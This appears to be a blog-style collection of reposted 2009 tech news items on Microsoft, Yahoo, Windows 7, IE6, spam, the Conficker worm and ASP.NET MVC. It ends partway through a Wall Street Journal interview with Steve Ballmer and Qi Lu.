Yahoo! and Microsoft will host a conference call with Yahoo! CEO Carol Bartz and Microsoft CEO Steve Ballmer to discuss the agreement at 5:30 a.m. Pacific/8:30 a.m. Eastern Time today. To listen to the call, please dial 1-866-515-2908 in the U.S. and Canada; +1-617-399-5122 international, reservation number: 47968026. A live webcast of the call can be accessed through Yahoo!’s Investor Relations website at http://yhoo.client.shareholder.com/results.cfm. The companies have also established a website at http://www.choicevalueinnovation.com to provide consumers, advertisers and publishers with additional information about the benefits of the agreement. In addition, an archive of the webcast will be available through the same link. An audio replay of the call will be available for two weeks following the conference call by calling 1-888-286-8010 in the U.S. and Canada; +1-617-801-6888 international, reservation number: 91217610.

Non-GAAP Financial Measures

This release refers to operating cash flow (operating income before depreciation, amortization of intangible assets, and stock-based compensation expense, or OCF), which is a non-GAAP financial measure. The most comparable GAAP measure is income from operations. The estimated annual OCF benefit of $275 million included in this press release is the estimated annual benefit in income from operations of $500 million less approximately $225 million of estimated annual savings in depreciation, amortization and stock-based compensation expense.

Source: http://www.choicevalueinnovation.com

Today's browser wars are nothing like the early browser wars of the mid '90s, but there are still plenty of casualties and lots of underlying uncertainty. However, there may be a bright spot on the horizon.

Current Browser Rankings

Based upon relatively recent data from Net Applications, there are really only four main browsers in the game today: Internet Explorer (IE) with roughly 66% of the market, Firefox with 22% of the market, Safari at 8% control, and Chrome with almost 2% of the market. Opera and all other browsers combined come in at only 2% of the market, even though the way that many of these browsers emulate other, better-known, user-agent strings to identify themselves might mean that they actually control a bit more of the market than is immediately obvious. But, even so, that really only leaves IE, FireFox, and Safari as the primary combatants.

Things get interesting though when you break down usage among versions of IE, especially if you start comparing those percentages against other browsers. At this point, no single browser is able to claim a true majority of Internet users. In fact, it becomes a rough-and-tumble race for supremacy. For example, IE 7 is the current, dominant, flavor of Internet Explorer - with roughly 27% market share. That puts it in roughly the same league as Firefox. Whereas IE 8, which seems to be seeing some decent yet rather slow adoption (among IE 7 users) comes in at 12%, roughly in the same league as Safari.

That leaves that ponderously old and terribly despised (by web developers at least) beast known as IE 6 still commanding roughly 20% of overall market share.

Internet Explorer 6 is Old, Beastly, and Holds the Future of the Web

IE 6 was released in August of 2001—it's now been around a little under 8 years, which is an eternity in Internet time. Yet it's still going strong with roughly 20% of the overall browser market. Of course, what's unknown is how many of those still on IE 6 are using it explicitly to maintain backward compatibility with their own internal web applications, or how many of them are either lazy users who can't be bothered to upgrade, or simply don't care about upgrading. Even though Microsoft clearly has upgrade paths for these users many haven't taken advantage of those paths (IE 7 and now IE 8) over the years.

I think it’s ironic that IE 6 users hold the key to the future of the web, at least in terms of which browsers will gain dominance. The 20% of users running IE6 today represent veterans of a browser war that was fought (and won by Microsoft) nearly a decade ago. And what these users choose as their next browser could have a big impact on which browser emerges victorious in the current skirmish we're seeing among IE, Firefox, Safari, and even Chrome.

On the one hand, if the majority of IE 6 users are just lazy or don't know how to upgrade, it's relatively safe to assume that they'll just upgrade to IE 8 as they become aware of easy upgrade options (or get new machines, though some could convert to Safari in this process). On the other hand, if the majority of these users explicitly need IE 6 to make corporate sites work correctly, then it's conceivable that many will like stay on current hardware, use IE 6 for their apps, and install Firefox or Chrome along with IE6 for any of the more modern browsing needs they may have. Either way, there's a large segment of users out there who can have a big impact on where things head in the future. As more and more pressure mounts on those users to switch or upgrade it will be interesting to see what happens, especially considering some of the recent turbulence in this arena (that has apparently been so big that it's caused Net Application Data to review their most recent numbers for a few days now).

Ditching IE 6

It's no secret, of course, that IE6 has long been viewed quite critically by web developers. In fact, it's probably safe to say that most web developers despise it. A key reason for that less than amicable sentiment is the amount of tweaking and hacking it takes to get new sites and content to work in IE 6. Or, as more than one sarcastic comment on http://www.saveie6.com/ points out, with IE6 out of the mix web developers and designers might end up going bankrupt as they'd lose half of all of their billable hours trying translate their sites and designs to render correctly on IE 6.

As a developer who has spent way too much time battling CSS hacks and other problems with sites for rendering in IE 6, I'd only be too happy if IE 6 would go away tomorrow. Sadly, it looks like that won't be the case, and I've checked browser statistics on a couple of the sites I work with over the past few months to see how soon I could begin possibly ignoring IE6 traffic. But sadly, on most of the sites I work with or maintain, IE 6 still represents 10-20% of the traffic, which is truly heartbreaking for me.

I relished a decision by YouTube to discontinue support for IE 6 relatively shortly. Even better, this news comes on the heels of other reports pointing out that other sites will be dropping support for IE6 as well.

Of course, as much as I could hope that this would trigger a cascade of other sites deciding to similarly pull support (making it easier for me to do the same), it's probably worth remembering that if the majority of IE 6 users are truly using IE 6 to explicitly maintain compatibility with their own intranet or business applications, then the content on YouTube or Digg likely isn't going to be a huge loss to these users. But we can always hope.

The Future of IE 6

What does all of this mean for web developers? Not a lot at this exact moment. Someday we might hit that bright-spot where we no longer need to waste time making sites work in IE 6. If enough sites take a cue from YouTube and Digg (and hopefully a few will) that might drive some momentum for change. That, in turn, could propel some IE 6 users to jump ship, changing the balance even more dramatically. When that happens, we'll be that much closer to cutting out a huge amount of effort when it comes to web development in general.

Source: http://www.devproconnections.com

The people who run the world's internet systems are a rather secretive bunch.  Three times a year, senior technical officers from companies such as Google, Yahoo, AT&T, Comcast and Verizon meet to discuss ways of stopping the internet from being swamped by rising levels of spam, viruses and hacking attacks by organised criminals. They do not generally like discussing these meetings.  "Some people might get nervous if they knew all the things we talked about," said Michael O'Rierdan, chairman of the Messaging Anti-Abuse Working Group (MAAWG). "It’s our job to make the internet safe, but we don't want to put people off using the web."  They are also worried about being targeted by the cyber-criminals they are trying to thwart.

Most of the spam and hacking on the internet is run by organised crime rings. There is an underground economy that hacks into computers, sells stolen identities and orchestrates the sending of spam e-mails about everything from fake Viagra pills to banking scams. There is a lot of money at stake in keeping these operations running.  “We get threats every day," said Larry, chief technical officer of Spamhaus, a non-profit organisation that exposes spammers. He prefers not to reveal his surname. "In the US it is people bringing lawsuits against us. And then there are organised criminals in Russia and Ukraine, who use different methods."  Steve Linford, the organisation's founder, has been advised by police not to open unexpected packages arriving at his home.

MAAWG meetings are also places to discuss some of the controversial measures that internet companies need to take in the fight against spam, such as blocking some types of e-mail traffic. This measure sits awkwardly with civil liberties bodies.  The 270 delegates from 19 countries who met at Amsterdam's venerable Hotel Krasnapolsky last week were far from the usual, suit-wearing conference crowd. An eclectic mix of tattoos, ponytails, high-waisted trousers and backpacks indicated that these were true operations people who work in the bowels of the network.  Membership is strictly vetted and journalists are not normally invited to attend, but MAAWG has started to lift its veil a little. There is a growing feeling that the industry must reach out to consumers and get them to help fight cyber-crime.

In 2008, 349.6bn spam messages were sent across the internet, according to Symantec, the internet security company. Spam accounts for an average of almost 94 per cent of all e-mail messages.  Nearly 90 per cent of spam is sent from computers that have been hacked into and are being remotely programmed to send out spam.  More than 9.4m computers have been hijacked in this way and their owners are usually entirely unaware it is going on. It will be impossible to clean up these machines without talking to consumers.

"Sometimes we want people to know what we are doing, so they can yell at the politicians to give us more help," said Jerry Upton, executive director of MAAWG.  There is a rising sense of crisis among internet companies about the cost of spam. Few are willing to quantify how much they have to spend to fight spam, but Mr O'Rierdan estimated that big internet service providers employ five to 10 staff just to look at spam. In addition they must buy spare servers, routers and other equipment to cope with the volumes of junk mail, buy spam-filtering software and run support centers for their customers.

Viriya Upatising, chief technical officer of True Internet, a Thai internet service provider, said junk mail was a crippling cost for the company because it was paying to send the unwanted data across undersea cable connections to destinations such as the US and Europe.  "The cost of bandwidth is expensive in Asia," Mr Upatising said. "It costs us $250 per megabit per month to send data internationally."  The company put in place a draconian system that prevents suspected spammers from using its network. The measures have cut unwanted messages from 3.5m a day to a more manageable 250,000.

"We are all sharing these costs," said Patrick Peterson, chief technology officer at Ironport Systems, Cisco's e-mail security arm. "Spam is a stealth tax on consumers. ISPs have to pay for the spam, for the extra bandwidth, for equipment, and they are forced to put up their prices for consumers."

There is a fear among internet security professionals that they might be losing the battle to cyber-criminals. This may also be why they now want the public to know more about what they do, to show they have at least tried.  "I don't know if we can control it," said Dave Crocker, one of the early pioneers of e-mail and now a senior technical adviser to MAAWG.  He added: "It is an arms race. We are getting better at filtering out rogue messages but every day the criminals get better too, and they are better organized and more aggressive."

Keywords: the dark side of the web

* Spam: Unsolicited electronic messages, most commonly e-mail, but also increasingly common in instant messaging, blogs and mobile phone messages. The first e-mail spam is believed to have been sent in 1978.

* Malware: Malicious software designed to infiltrate or damage a computer system without the owners' consent. Symantec, the internet security company, has estimated there is now more malware released each year than legitimate software programs. There are many different types of malware, including viruses, worms and Trojan horses.

* Phishing : The fraudulent attempt to acquire sensitive information such as passwords, bank account details and credit card numbers. Typically it is in the form of an e-mail that directs people to a fake website - that looks like the legitimate site of a bank or other trusted organisation - where people are asked to enter personal details.

* Botnets: A network of computers that have been hacked and are being remotely controlled by cyber-criminals. Typically they are used to send out spam messages or viruses in large numbers. Most users will be unaware if their computer has been infiltrated and added to a botnet. Symantec estimated there were more than 9.4m machines hijacked in this way in 2008.

Source: http://www.ft.com

You can set a custom background for the logon screen in the release candidate and release to manufacturing versions of Windows 7, here is how it works:

To set a custom picture, place a JPG named backgroundDefault.jpg in the %windir%\system32\oobe\info\backgrounds folder. Now go to the registry and navigate to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background. There should be a DWORD value named OEMBackground (create it if it's missing). Set the value to 1 and click OK.

Now when you log off or switch users the new background picture will be displayed. No reboot is necessary.

You can also place custom files in the backgrounds folder with the name background<resolution> to have different pictures for different resolutions. For example, a 1024×768 resolution picture should be save as background1024x768.jpg.

BOSTON, June 10 (Reuters) Microsoft Corp (MSFT.O) is getting ready to unveil a long-anticipated free anti-virus service for personal computers that will compete with products sold by Symantec Corp (SYMC.O) and McAfee Inc (MFE.N).

A Microsoft spokesman said on Wednesday that the world's biggest software maker is testing an early version of the product with its own employees. Microsoft would "soon" make a trial version, or product beta, available via its website, he added, but declined to provide a specific date.

Symantec shares fell 0.5 percent on Nasdaq and McAfee fell 1.3 percent on the New York Stock Exchange, while Microsoft was up 2.1 percent. The Nasdaq composite index .IXIC was down 0.47 percent.

Investors are closely monitoring the free service, code-named Morro after Brazil's Morro de Sao Paolo beach, amid concern it could hurt sales of products from Symantec and McAfee, which generate billions of dollars of revenue a year protecting Windows PCs from attacks by hackers.

"It's a long-term competitive threat," said Daniel Ives, an analyst with FBR Capital Markets, though he added that the near-term impact was minimal.

Microsoft has said that Morro will offer basic features for fighting a wide range of viruses, which would likely make it comparable to low-end consumer products from Symantec and McAfee that cost about $40 per year.

Their top-selling products are security suites that come with features including encryption, firewalls, password protection, parental controls and data backup.

Three years ago, Microsoft entered that market with Live OneCare, which turned out to be a commercial flop. It announced plans in November to kill that product suite, saying it would launch the free Morro service by the end of 2009.

Analysts said they are looking forward to Morro's beta to see exactly how its features compare to those in products from competitors.

Microsoft has said it will provide protection from several types of malicious software including viruses, spyware, rootkits and trojans.

Officials with Symantec and McAfee have said they do not see Morro as a threat. 

"Microsoft's free product is basically a stripped down version of the OneCare product Microsoft pulled from the shelves," said Symantec Consumer division president Janice Chaffin. "A full Internet security suite is what consumers require today to stay fully protected."

Joris Evers, a spokesman for No. 2 security software maker McAfee, said his company is already enjoying strong growth despite competition from free anti-virus products that are on the market.

"On a level playing field, we are confident in our ability to compete with anyone who might enter the marketplace," he said.

A spokeswoman for Trend Micro Inc (4704.T), the No. 3 player, declined to comment. (Reporting by Jim Finkle; Editing by Steve Orlofsky, Brian Moss, Richard Chang)

Source: http://www.reuters.com

The near-final version of Microsoft's next operating system, Windows 7, became available late Monday to the general public.

Microsoft will collect feedback on the Windows 7 release candidate over the next few months, fixing small issues. The company allowed developers and other testers to begin downloading the release candidate last week.

[ Microsoft will let users run Windows 7 RC for more than a year. | Get the analysis and insights that only Randall C. Kennedy can provide on Windows tech in InfoWorld's Enterprise Desktop blog and Technology: Windows newsletter. And download our free Windows performance-monitoring tool. ]

Windows 7 comes nearly three years after Windows Vista, which took five years for Microsoft to engineer but was regarded by some as underwhelming. Microsoft hasn't said when the final Windows 7 version will be released, although it's rumored to be out before year's end.

Microsoft warned it is not offering technical support for the Windows 7 release candidate, so those who install it are on their own. Users should be familiar with installing an operating system from scratch, formatting a hard drive and backing up data, among other skills, Microsoft advised.

In the Windows 7 release notes, Microsoft warns of several problems that haven't been resolved, including issues with its latest Web browser, Internet Explorer 8 (IE8).

Debugging JavaScript with the developer tools in IE8 could throw up a warning that a Web site is not responding, but that warning can be ignored. Also, some Web pages may have misaligned text or missing images. Microsoft recommends clicking on the "compatibility view" button on the address bar as a fix.

Microsoft released the Windows 7 beta in Arabic and Hindi, but those languages have been replaced with French and Spanish in the release candidate. English is available for both versions.

"We needed to ensure certain features were tested for worldwide functionality, and Hindi and Arabic help us test a number of language-related features," Microsoft said.

Source: http://www.infoworld.com

As promised, on Thursday, April 30, 2009, Microsoft made the Windows 7 Release Candidate (RC, see my review) available to MSDN and TechNet subscribers. But it also made an updated (but not yet rebranded) version of XP Mode for Windows 7 and Windows Virtual PC available via the same distribution points. Since Rafael and I gained access to the first external build of XP Mode (then as in this beta called Virtual Windows XP, or VXP), we've been eager to see a more updated version. So what do we see here?

First, Microsoft is formally describing this technology as Windows Virtual PC, "a new optional component for the Windows 7 operating system that you can use to evaluate and migrate to Windows 7 while maintaining compatibility with applications that run on older versions of Windows." Windows Virtual PC includes a number of new features, one of which, of course, is XP Mode.

Windows Virtual PC is available in both 32-bit and 64-bit versions, so you'll need to version that is correct for your OS. However, you can only run 32-bit virtual machines inside of Windows Virtual PC, as was the case with the previous version of this product, Virtual PC 2007.

Windows Virtual PC will be delivered to Windows 7 Professional, Enterprise, and Ultimate customers via a web download that includes two executables. The first, Windows6.1-KB958559-x86.msu (32-bit) or Windows6.1-KB958559-x64.msu (64-bit), depending on your platform, updates Windows 7 and actually provides the expected Start Menu entry points. And then you reboot.

When that's done you must also run a second EXE, VirtualWindowsXP_64_en-US (or VirtualWindowsXP_32_en-US) to install XP Mode and its Windows XP with SP3 virtual machine (VM). Once you've done that, you'll be prompted to run Virtual XP (XP Mode).

Now, you're prompted to configure a password for the default user (creatively named User and not changeable during Setup), and configure Automatic Updates. Then, Setup configures the virtual machine. This phase takes a long time and involves setting up the VM for first use, initializing the VM, starting the OS, and enabling integration features. What it's really doing, of course, is running through the XP Setup process in silent mode.

Eventually you'll hear the familiar strains of the XP startup sound and Windows XP springs to life in a window. Voila! It's time to do some XP configuration, install AV and any third party apps, and then shut down the VM and access those apps from the Windows 7 Start Menu.

Of course, Rafael and I have already thoroughly documented all this. So if you've been reading along since we first revealed this feature, you know by now that nothing has changed. That's both reassuring and alarming, since the build we originally got is well over a month old by now. Presumably, between now and Windows 7 RTM, Microsoft will rebrand these components as needed.

Of more interest here is what's going on under the hood? How does Windows Virtual PC differ from its predecessor?

First, the integration components now support XP with SP3, Vista with SP1, and Windows 7, so you're free to install these other OSes in VMs if you'd like. As per previous Virtual PC versions, you get seamless mouse movement between the host and VMs, can access a combined host/VM clipboard, access physical drives and printers on the host from within VMs, and, in a new twist, some USB devices. (This was a notable missing feature in Virtual PC.) Microsoft says that USB-based printers, storage devices and smart card readers are now automatically shared with virtual machines. You can also redirect other USB devices to VMs via the new USB menu in the VM window; each attached USB device on the host is listed.

And don't forget Rafael's secret about getting built-in Windows XP applications to appear in the Windows 7 Start Menu. Just drag and drop them into the All Users Start Menu and they will appear. Voila!

Source: http://www.winsupersite.com

Microsoft will begin offering its first hosted security service under the Forefront brand on Thursday, dubbed Forefront Online Security for Exchange and designed to help keep malware and spam out of e-mail in-boxes.

The hosted service, which will cost $20 per user per year or less based on volume licensing, targets enterprise Exchange customers and includes a Web-based console for setting up policies for virus and spam protection, said Doug Leland, general manager of Microsoft's Identity and Security Business Group.

The releases will follow the timeline of Exchange 2010, which entered public beta this week. More hosted security services will be coming but Leland declined to elaborate.

Microsoft also will finally release on Thursday a new, public beta version of its Stirling security suite, which is the next generation of the Forefront software.

The initial beta version of Stirling was released a year ago and was supposed to be refreshed by the end of 2008. It will include client, server, and application security technology and offer a single management console.

Stirling components will come in staggered releases starting later this year with Forefront Security for Exchange and Threat Management and continuing through the first half of 2010, Leland said. The company also is changing the name of its Identity Lifecycle Manager product to Forefront Identity Manager and plans to offer a new set of technologies, code-named Geneva, for helping corporations improve the security of software and services, Microsoft said.

In addition, Microsoft said it is investing $75 million in a partner ecosystem, including making a strategic partnership with RSA. Other companies integrating with Stirling include Kaspersky, Brocade, Juniper Networks, Guardium, Imperva, Sourcefire, StillSecure, Q1 Labs, and Tipping Point.

The moves are part of the company's strategy to provide "Business Ready Security."

The moves are part of Microsoft's effort to broaden the scope of its security offerings to incorporate data protection, access and management, all built around the concept of identity, Leland said.

Microsoft wants to offer the ability for corporations to set "fine-grained security policies and have a deeper understanding about who in the organization is triyng to access data and what they are trying to do with it," he said.

Source: http://news.cnet.com

[Update]: Forefront Online Security for Exchange is not only limited to Exchange Server, it can be used by all other mail server.

More than 97% of all e-mails sent over the net are unwanted, according to a Microsoft security report.

The e-mails are dominated by spam adverts for drugs, and general product pitches and often have malicious attachments.

The report found that the global ratio of infected machines was 8.6 for every 1,000 uninfected machines.

It also found that Office document attachments and PDF files were increasingly being targeted by hackers.

Microsoft said people should not panic about the high levels of unwanted e-mail.

Cliff Evans, head of security and privacy for Microsoft in the UK, told BBC News: "The good news is that the majority of that never hits your inbox although some will get through."

Ed Gibson, chief cyber security advisor at Microsoft, said the rise in spam was due to traditional organised crime figures moving away from exploiting software vulnerabilities and "targeting the weak link that is you and me".

"With higher capacity broadband and better OS (operating systems), and higher power computers it is easier now to send out billions of spams. Three or four years ago the capacity wasn't there."

Malware ecosystem

Paul Woods, senior analyst at e-mail security firm Message Labs, said he was surprised the Microsoft figure for unwanted e-mail was so high.

"Our own analysis shows that around 81% of e-mail traffic we were processing was identified as spam and unwanted," he said.

MessageLabs said spam rates had fallen at the end of 2008 as an ISP which had been hijacked to send out spam mails to users had been taken offline.

"As a result of that, a number of developers in botnet technology at the end of last year were trying to regain botnet control and increase capacity and return to previous spam levels.

"It wont be far off before we see return to those levels."

The report, which looked at online activity during the second half of 2008, also pinpoints the countries that are suffering from the most infections of malicious software, or malware.

Russia and Brazil top the global chart of infections, followed by Turkey and Serbia and Montenegro.

It said that the type of malware varied from country to country.

"As the malware ecosystem becomes more reliant on social engineering, threats worldwide have become more dependent on language and cultural factors," it reported.

In China, several malicious web browser modifiers are common, while in Brazil, malware that targets users of online banks is more widespread.

In Korea, viruses such as Win32/Virut and Win32/Parite are common.

 

Global average

The global average for infected machines is 8.6 for every 1,000 uninfected PCs.

The UK's infection rate is 5.7, according to the Microsoft report.

The report highlighted the need to keep operating systems, web browsers and applications up to date with the latest versions.

Increasingly, hackers are using common file formats, such as Microsoft Office documents and Adobe's PDF format as the carrier of malicious exploits or programs.

More than 91% of attacks exploiting vulnerabilities in Microsoft Office were using security holes that had been plugged by updates that had been available for more than two years.

Attacks using PDF files rose sharply in the second half of 2008, the report noted.

The vulnerabilities all of the attacks exploited had already been fixed by Adobe, and were not present in the most recent versions of the software.

Mr Gibson told BBC News people had to be aware that if they did not update their applications, such as Office and Adobe, they were not just putting themselves at risk, but others on the internet also.

"If you don't update your software you are not just a hazard to yourself, you are hazard to others because you can be part of a botnet [if your computer is hijacked]."

Mr Evans said Microsoft was very happy with the approach consumers were taking to updating applications via automatic updates.

"For consumers it is happening but for business less so. We have encourage businesses to make more use of automatic updates."

 

Scareware

Mr Woods said malicious hackers were exploiting Office document attachments and PDF files in order to make more targeted attacks.

"They tend to be used in selective attacks to named individuals in organisations.

"A lot of social engineering will be used to appear legitimate and convince a user to open the attachment

"Once opened, a vulnerability in the application used to open the document will be exploited and often a tiny piece of code will execute and then download a larger file from a rogue website.

"This program will then attempt to search the computer for a particular document or file and sent it to a remote PC."

The report also highlighted the rise in the use of so-called scareware, fake security programs which falsely tell people they need to install software which does nothing other than attempt to steal personal details from a users' PC.

"It's criminals playing on people's fears," said Mr Evans.

"The advice remains the same - ensuring you have up to date software, whether that's your applications, your browser or your OS."

 

Source: http://news.bbc.co.uk

Remember the dire predictions surrounding the "millennium bug?" The doom-and-gloom scenarios bandied about by security analysts on how computers could act when their clocks turned to January 1, 2000?

Well, researchers are hoping that a potential April Fools' time bomb -- the Conficker.c that is supposed to hit computers on April 1 -- turns out to be equally unfounded.

But realizing that hope alone is not a prudent option, here is a primer on the worm so you can adequately prepare yourself -- and your computer.

Computer users will not know that Conficker.c has infected their machine.

What is Conficker.c and what do analysts fear it may do?

Conficker.c is a worm, a malicious program thought to have already infected between 5 million and 10 million computers.

Those infections haven't spawned many symptoms, but on April 1 a master computer is scheduled to gain control of these zombie machines, said Don DeBolt, director of threat research for CA, a New York-based IT and software company.

What happens on April Fools' Day is anyone's guess.

The program could delete all of the files on a person's computer, use zombie PCs -- those controlled by a master -- to overwhelm and shut down Web sites or monitor a person's keyboard strokes to collect private information like passwords or bank account information, experts said.

More likely, though, said DeBolt, the virus may try to get computer users to buy fake software or spend money on other phony products.

Experts said computer hackers largely have moved away from showboating and causing random trouble. They now usually try to make money off their viral programs

How does the Conficker.c work?

Conficker.c imbeds itself deep in the computer where it is difficult to track. The program, for instance, stops Windows from conducting automatic updates that could prevent it from causing damage.

The program's code is also written to evolve over time and its author appears to be making updates to thwart attempts to neuter the worm.

Who wrote the program?

It's unclear who wrote the program, but anti-work researchers -- a group calling itself the Conficker Cabal -- are looking for clues.

First, they know that some recent programs have come from Eastern European countries outside the jurisdiction of the European Union, said Patrick Morganelli, senior vice president of technology for Enigma Software.

Worm program authors often hide in those countries to stay out of sight from law enforcement, he said.

In a way, the Conficker Cabal is also looking for the program author's fingerprints. DeBolt said security researchers are looking through old programs to see if their programming styles are similar to that of Conficker C.

The prospects for catching the program's author are not good, Morganelli said. "Unless they open their mouth, they'll never be found," he said.

So, the most effective counter-assault simply may be damage control.

How can I tell if my computer's infected?

One quick way to see if your computer has been infected is to see if you have gotten automatic updates from Windows in March. If so, your computer likely is fine, DeBolt said.

Microsoft released a statement saying the company "is actively working with the industry to mitigate the spread of the worm."

Users who haven't gotten the latest Windows updates should go to http://safety.live.com if they fear they're infected, the company's statement says.

People who use other antivirus software should check to make sure they've received the latest updates, which also could have been disabled by Conficker.c.

How did the worm evolve?

The first version of Conficker -- strain A -- was released in late 2008. That version used 250 Web addresses -- generated daily by the system -- as the means of communication between the master computer and its zombies.

The end goal of the first line was to sell computer users fake antivirus software, said Morganelli.

Computer security experts largely patched that problem by working with the Internet Corporation for Assigned Names and Numbers to disable or buy the problematic URLs, he said.

A second variant, Conficker.b, was released in January and infected millions more machines.

The Conficker, strain C, will generate 50,000 URLs per day instead of just 250 when it becomes active, DeBolt said.

What is being done to fight Conficker?

Members are searching for the malicious software program's author and for ways to do damage control if he or she can't be stopped.

They're motivated in part by a $250,000 bounty from Microsoft.

Source: http://www.cnn.com

As part of Scott Guthrie's keynote March 18th at Mix 2009, Microsoft announced the final release of ASP.NET Model View Controller (MVC). If you haven't had a chance to look at it yet, now is your chance as it's officially out of beta and into full production.

ASP.NET MVC—Why All the Hype?

In case you haven't heard, Microsoft has made it abundantly clear that ASP.NET MVC isn't designed to replace ASP.NET Webforms development. Instead, it's another option that Microsoft is making available to developers. This is similar to Microsoft's decision to allow developers to code in both Visual Basic and C# - the idea being that developers chose what best meets their needs and particular styles.

Personally, I'll never go back to WebForms, because I'm sold on the way MVC solutions give me complete control over my markup, facilitate testing, and allow greater control over URL routing while making my code much more modular (which in turn, makes it easier to manage and extend). So, while MVC development might not be for everyone, it's definitely for me, and I'm completely sold on it.

ASP. NET MVC as a Testament to Innovation at Microsoft

But what I really love the most about ASP.NET MVC (in addition to all of the time it saves me as a developer), is that it's a perfect example of some very new, and innovative, approaches that Microsoft has taken in regards to addressing business and the web in general. Once upon a time, Microsoft's approach to the web and competing products and platforms basically consisted of doing nothing more than pretending that those offerings didn't exist. You can see some examples of this mindset by visiting some parts of the Microsoft corporate site, where many pages and applications simply don't work correctly with browers other than Internet Explorer. Likewise, this mindset was also at the heart (in my opinion) of much of the complaints leveled at Microsoft for being nonconformant with industry accepted standards.

But the MVC is part of a vanguard of new products and services delivered by Microsoft  where the company seems to take an entirely different approach. Rather than simply pretending that other offerings don't exist, this approach focuses on accepting the strengths of other platforms, analyzing those strengths, rolling them into Microsoft products where applicable, and then building supporting and competing Microsoft products that developers, and IT professionals, just can't do without.

IIS 7, for example, no longer pretends that PHP doesn't exist. Instead, it fully embraces it, and is striving to provide such a powerful hosting platform for it that businesses will choose to run PHP on IIS7 given the ease of management, extensibility, and flexibility that they'll enjoy from hosting PHP on a Windows Server. And if Microsoft is able to deliver? Then businesses will be buying Windows Server licenses for their web workloads, instead of using Apache licenses. It's a bold business approach to be sure, but I much prefer this approach to meeting the competition head-on, rather than watching Microsoft merely burying its head in the sand.

What's better though, is that it appears that as Microsoft continues to take this head-on business approach, we're finally starting to see some really innovative things coming out of Redmond. And in my mind, a prime example of that innovation has been the effort and energy devoted to the creation of ASP.NET MVC functionality. As an ASPInsider, I've been able to see just how innovative the ASP.NET team working on this project has been - and how careful they've been in creating this platform in order to ensure that it really, and truly, met real-world business needs.

A further example of how this innovation and its associated paradigm shift is taking root at Microsoft is the BizSpark program, which takes a very aggressive approach at preventing start-ups from courting the LAMP stack as a cheaper alternative to the Microsoft Stack by giving them three years to use Microsoft products and licenses for free.

And, if you think that I've possibly gone off the deep-end, or imbibed a bit too much of the Microsoft Kool-Aid, make sure to check out Bill Buxton and Scott Guthrie's Keynote from Mix '09. Here’s the link: http://live.visitmix.com/. You’ll need to mouse over the player, select the Other Videos option, and select the Day1 Keynote.

Unless there's something seriously wrong with you, this keynote will get you excited about development again, and it will totally make you rethink your relationship with Microsoft. You'll also see some great examples of real-life innovation.

Getting Started with ASP.NET MVC

As for ASP.NET MVC itself, if you've been waiting for it to mature a bit before playing with it (or just haven't had the time yet), now is a great time to pull it down and try it out. It now has a brand new portal page on the www.asp.net web site itself, and there are also a number of great videos that will help you get quickly spun up on how it works, and what it does. In fact, if you'd like a very quick overview of how MVC applications work, make sure to check out Stephen Walther's new video that shows a start-to-finish MVC app.

Likewise, one of the great things about MVC development is that it's insanely extensible and lends itself very well to customizations and tweaks. I've leveraged these capabilities extensively in my own projects, and a huge resource that's helped me in doing so has been access to the actual source code for ASP.NET MVC itself - which you can peruse (or even download) from the codeplex site.

Another resource that you'll want to pay attention to if you're interested in MVC development is MVCContrib, which is an extensive suite of open-source extensions and augmentations that can be used to improve MVC development. I've also found that Phil Haack’s and Rob Conery's blogs are great resources; they document some MVC features and functionality. But more importantly, these blogs are great resources in terms of explaining why certain features are implemented as they are. The resulting transparency from those blogs helps (in my mind) play a big part in much of the innovative spirit that makes MVC and other recent releases from Microsoft so exciting and refreshing.

Source: http://www.devproconnections.com/

The new OS is winning over notoriously skeptical tech bloggers and benchmarking sites. We put together a roundup of some of the results that show why Windows 7 could be faster than Vista.

The boot time and readiness of the OS has been getting the biggest plaudits from bloggers and benchmarkers, especially with its capacity to bring the computer to a functional state very quickly and to operate on less memory than Vista (the latter is largely thanks to the fact that Windows 7 doesn’t allocate video memory for non-visible Windows).

Other benchmark results are mixed, with Windows 7 beating its predecessors in some tests and lagging them in others (of course, it's still in beta, where XP and Vista are both production versions).

Here’s a sampling of some of the best results:

• The Firing Squad has a comprehensive test of the gaming and USB performance of Windows 7 vs XP and Vista. It’s hard to draw conclusions from its test result since they’re all over the place: Windows XP, Windows Vista and Windows 7 each had their ups and downs, and there was no clear winner overall.
• PC Games Hardware tests fewer games, but gives Windows 7 a slight edge in Far Cry 2 and Left 4 Dead. Its other tests were again a mixed bag, with some showing Windows 7 improving on Vista, and others showing it worse.
• Infoworld has a fascinating look at multi-core database performance. The short version is that Windows 7 and Windows Vista take better advantage of multi-core systems, but Windows XP actually performs better than they do on fewer cores.
• It’s not big on the details, but tests run by a ZDNet blogger give some major props to Windows 7. These tests cover mostly common tasks, like file copying and application starts.
• Hot Hardware has benchmarks that give Windows 7 a significant performance advantage over Windows Vista. The gaming performance of the two was roughly equal, but the Futuremark PCMark Vantage overall result for Windows 7 was 20% higher than Windows Vista.

In a sense, it seems to gel with the ZDNet tests – that Windows 7 does well at “mundane” tasks, but doesn’t thrash the competition in gaming.

Of course, if you’re tired of looking at benchmarks and want to try Windows 7 for yourself, you can download it from here until Feb 10.

The good news is that it’s very stable – I’m running it and have yet to have a crash. It’s not that different from Vista overall, and if you’d like to know more about it without having to install it, you can also check out Atomic’s visual Windows 7 Beta Walkthrough.

Source: http://www.pcauthority.com.au/

[QUOTE]
After a nearly five month search, Microsoft Corp. on Thursday said it has found a new executive to lead its charge against Google Inc. in the online search and advertising business: Qi Lu, a technologist who was previously a top executive at Yahoo Inc.

The move represents a switching of teams for Dr. Lu, whose former employer was the target of a $47.5 billion acquisition offer that Microsoft abandoned earlier this year. When he begins work as president of the online services group at the Redmond, Wash., company on Jan. 5, Dr. Lu, 47 years old, will face the formidable task of improving Microsoft from a distant third place position in Internet search, behind Google and Yahoo. His familiarity with Yahoo could make that easier if Microsoft is able to strike a deal to acquire Yahoo's search business, as Microsoft CEO Steve Ballmer has said he's keen to do.

In the first joint interview together, Mr. Ballmer and Dr. Lu on Friday morning discussed their plan for making Microsoft more competitive on the Internet. Mr. Ballmer also reiterated his interest in acquiring in Yahoo's search business and how it would be better for both companies if they can do a deal "sooner than later."

Excerpts of the telephone interview with both men follow:

WALL STREET JOURNAL: Steve, was this a difficult or particularly long search to find the right person to run your online business?

STEVE BALLMER: I'll say, no, actually to both. Somebody might have a different point of view. I think people would have wished, hey, just fill the job quickly. But "difficult" would imply it was tough to find the right guy. I think it was important for me to take the time to get to know many people in the online industry, which was great.

 
Steve Ballmer

